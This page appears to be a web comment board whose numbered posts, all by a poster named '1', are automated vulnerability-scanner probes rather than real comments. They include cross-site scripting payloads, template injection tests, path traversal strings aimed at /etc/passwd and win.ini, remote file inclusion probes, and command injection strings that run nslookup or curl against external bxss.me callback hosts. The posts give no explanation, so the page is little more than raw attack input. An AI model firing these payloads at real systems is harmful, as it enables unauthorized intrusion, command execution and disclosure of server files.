[No.31]  by.1

<a HrEF=jaVaScRiPT:>

[No.30]  by.1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

[No.29]  by.1

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

[No.28]  by.1

dfb{{'abcd'.toUpperCase()}}xca

[No.27]  by.1

dfb{{{this}}}xca

[No.26]  by.1

dfb{{"abc"|title}}xca

[No.25]  by.1

'"()&%<zzz><ScRiPt >4U8o(9382)</ScRiPt>

[No.24]  by.1

<!--

[No.23]  by.1

'"

[No.22]  by.1

contentsPageComment.html/.

[No.21]  by.1

contentsPageComment.html

[No.20]  by.1

contentsPageComment.html

[No.19]  by.1

bxss.me/t/rfi.php?%00

[No.18]  by.1

bxss.me/t/xss.html?%00

[No.17]  by.1

redirtest.acx

[No.16]  by.1

'"()

[No.15]  by.1

bxss.me

[No.14]  by.1

c:/windows/win.ini

[No.13]  by.1

../../../../../../../../../../../../../../etc/shells

[No.12]  by.1

!(()&&!|*|*|

[No.11]  by.1

/etc/shells

[No.10]  by.1

)

[No.9]  by.1

|(nslookup${IFS}-q${IFS}cname${IFS}hitfnzfkvylsc5322c.bxss.me||curl${IFS}hitfnzfkvylsc5322c.bxss.me)

[No.8]  by.1

`(nslookup -q=cname hittzatcjhhgv4da59.bxss.me||curl hittzatcjhhgv4da59.bxss.me)`

[No.7]  by.1

|(nslookup -q=cname hitkzlrizxxfz23a38.bxss.me||curl hitkzlrizxxfz23a38.bxss.me)

[No.6]  by.1

&nslookup -q=cname hitstrmlcztcybc8aa.bxss.me&'\"`0&nslookup -q=cname hitstrmlcztcybc8aa.bxss.me&`'

[No.5]  by.1

$(nslookup -q=cname hitzkloiallyx456f4.bxss.me||curl hitzkloiallyx456f4.bxss.me)

[No.4]  by.1

(nslookup -q=cname hitelqtdgktzd0c30e.bxss.me||curl hitelqtdgktzd0c30e.bxss.me))

[No.3]  by.1

expr 9000275620 - 969287

[No.2]  by.1

../../../../../../../../../../../../../../windows/win.ini

[No.1]  by.1

../../../../../../../../../../../../../../etc/passwd